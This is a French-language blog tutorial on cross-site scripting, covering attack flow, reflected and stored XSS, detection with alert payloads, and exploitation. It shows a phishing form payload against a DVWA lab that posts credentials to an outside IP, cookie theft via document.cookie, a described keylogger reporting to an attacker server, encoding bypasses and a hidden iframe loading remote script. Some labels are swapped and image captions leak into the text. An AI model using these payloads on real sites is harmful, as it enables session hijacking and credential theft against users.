XSS

1. Principe de la faille XSS

Le Cross-site scripting (XSS) est une attaque par injection de code qui permet à un attaquant d’exécuter du code JavaScript.

Malgré les diverses exploitations de la faille XSS, le principe reste toujours le même, voici les différentes étapes (ici Bob sera l’attaquant et Alice la victime) :

  1. Bob consulte la page faillible et repère une faille XSS.
    Bobc'est juste une flèche...Le site faillibleLe serveur victime
  2. Il héberge donc sur son serveur un script d’exploitation, ainsi qu’un script dit « de capture » (que nous pourrons appeler grabber ou stealer), et intègre son script d’exploitation dans la page faillible
    BobLes scriptsc'est juste une flèche...Le serveur pirate
  3. Il envoie le lien de la page modifiée à Alice, en faisant preuve d’ingénierie sociale.
    Bobc'est juste une flèche...Alice
  4. Celle ci le consulte, croyant avoir affaire à la page originale.
    Alicec'est juste une flèche...Le site piégéLe serveur victime
  5. Elle se fait alors piéger, envoyant des données au grabber de Bob qui enregistre les données sensibles.
    AliceDes informations c'est juste une flèche...Le grabberLe serveur pirate
  6. Bob récupère alors ces données et les utilise sur le site faillible (cookies, mot de passe, etc).
    Bobc'est juste une flèche...Le siteLe serveur victime

Certains dirons que la deuxième étape n’est pas forcément comme décrite ici, et que Bob n’est pas obligé d’héberger son script d’exploitation sur son serveur et intégrer dans la page faillible l’appel à ce script, mais qu’il peut directement l’intégrer dans la page via la variable faillible. C’est exact, mais nous verrons dans une des parties suivantes qu’il vaut mieux faire comme expliqué ici dans un souci de discrétion.

2 Les differents type de XSS

2.1 La XSS stocké (XSS reflected)

Cela se produit lorsque les résultats sont renvoyés après la saisie du code malveillant. La XSS reflected n’est pas sauvegardé de manière permanente sur le serveur. Le code d’attaque peut être inclus dans l’URL ou dans les paramètres HTTP.

Il peut affecter la victime de différentes manières : en affichant une fausse page malveillante ou en envoyant un courriel malveillant.

2.2 La XSS permantente (XSS stored)

Cette attaque peut être considérée comme plus risquée car elle provoque plus de dégâts.

Dans ce type d’attaque, le code ou le script malveillant est enregistré sur le serveur web (par exemple, dans la base de données) et exécuté à chaque fois que les utilisateurs appellent la fonctionnalité appropriée. De cette façon, une XSS stockée peut affecter de nombreux utilisateurs. De plus, comme le script est stocké sur le serveur web, il affectera le site web pendant plus longtemps.

Afin d’effectuer une XSS stockée, le script malveillant doit être envoyé par le biais du formulaire vulnérable (par exemple, le champ de commentaire ou le champ de révision). De cette façon, le script sera enregistré dans la base de données et exécuté lors du chargement de la page ou de l’appel de la fonction appropriée.

3. Détecter une faille XSS

Un élément extrêmement utilisé en javascript est « l’alert », 

Voici la syntaxe d’une alert javascript :

<script>alert("XSS")</script>»

Si on insère ça dans le champs on obtient ce résultat :

Maintenant vous allez me demander comment savoir quel champ d’écriture est vulnérable. Je ne peux pas vous répondre clairement à cette question.

Cependant j’ai une petite astuce qui aide énormement quand aux potentiels champs vulnérables :

  1. Ecrire quelque chose dans le champs (ex : « Hello »)

2. Si ce champs permet de renvoyer exactement le même mot, tel quel, avec majuscule et minuscule sans transformation alors vous pouvez penser à un XSS.

3. Tester une injection de javaScript basique comme <script>alert(1)</script>

4. Si rien ne s’affiche, pas de panique, il faudra eventuellement utiliser des filtres pour essayer de contourner les mecanisme de securité. On en parle plus bas 😉

4. Exploiter une faille XSS

On va lister ici différentes utilisation d’exploitation d’une XSS :

4.1 Les Cookies

En JavaScript il existe une commande qui permet de récupérer les cookies du navigateur :

<script>alert(document.cookie)</script>

Cette commande permet d’afficher les cookies de session d’un utilisateur

Créer un lien Request Bin  » Create a RequestBin  » en validant le Captcha au préalable ( sinon ca ne marchera pas ) 

4.2 PHISHING :

Il est possible de faire du phishing avec du JavaScript, voici un exemple de formulaire que vous pouvez utiliser.

  • http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<h3>Please login to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type= »username » name= »username »></br>Password:<br><input type= »password » name= »password »></br><br><input type= »submit » value= »Logon »></br>

4.3 KEYLOGGER :

Tout d’abord, nous allons créer un fichier JavaScript séparé et l’héberger sur le serveur contrôlé par l’attaquant. Nous avons besoin de ce fichier car la charge utile est trop importante pour être insérée dans l’URL et nous évitons les erreurs de codage et d’échappement. Le fichier JavaScript contient le code suivant:

Keylogger code

À chaque pression sur une touche, une nouvelle requête XMLHttp est générée et envoyée vers keylog.php hébergée sur le serveur contrôlé par l’attaquant. Le code dans keylog.php écrit la valeur des touches pressées dans un fichier appelé data.txt .

Keylogger ouvrir le fichier

Nous devons maintenant appeler la page vulnérable avec la charge utile de notre serveur:

5. Encodage & bypass de l’échappement

Parfois, certaines données sont encodées pour être transmises à la page. Il se peut que les filtres appliqués à ces données soient appliqués avant le décodage.

Il se peut également que certains encodages supportés et interprétés par les navigateurs ne soient pas pris en compte par les filtres de sécurisation.

  • URLencode : Ici il convient de convertir le texte en son équivalent héxadécimal, chaque nombre étant précédé de %. hello ==> %68%65%6C%6C%6F

https://www.urlencoder.org/

  • HEX/HTML : Ici il convient de convertir le texte en son équivalent héxadécimal, chaque nombre étant précédé de &#x. hello ==> hello

https://www.convertstring.com/fr/EncodeDecode/HexEncode

  • DECIMAL/HTML: Ici il convient de convertir le texte en son équivalent décimal, chaque nombre étant précédé de &#x. hello ==> &#104&#101&#108&#108&#111

https://cryptii.com/pipes/decimal-text

  • BASE64: Ici il convient de convertir le texte en son équivalent base64. hello ==> aGVsbG8= Mais il convient aussi de préciser au navigateur qu’il a affaire à quelquechose codé en base64, par exemple comme ceci : <a href= »data:text/html;base64,">ceci est un lien</a>

https://www.base64encode.org/

Mais actuellement les URL sont filtrées et si nous pouvons encore trouver ce genre de failles, elles se font rares. Une façon de contourner le filtre est de placer une iframe. Dans ce cas nous incluons dans la page une zone qui fait appel à un autre site pouvant contenir le code JavaScript que nous souhaitons utiliser. De plus, nous pouvons masquer l’iframe en lui donnant des dimensions nulles.

Voici un exemple de code :

<iframe width=0 height=0 src=acissi.net/js_attaque/>    
</iframe>

6. Intruder & liste de payload

Liste d'intruder pour XSS :

https://github.com/1N3/IntruderPayloads/blob/master/BurpAttacks/burpattack_xss

7. Scripts XSS

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Voilà le même script en amélioré : XSS_Exploit

2 commentaires

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l’aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l’aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l’aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l’aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s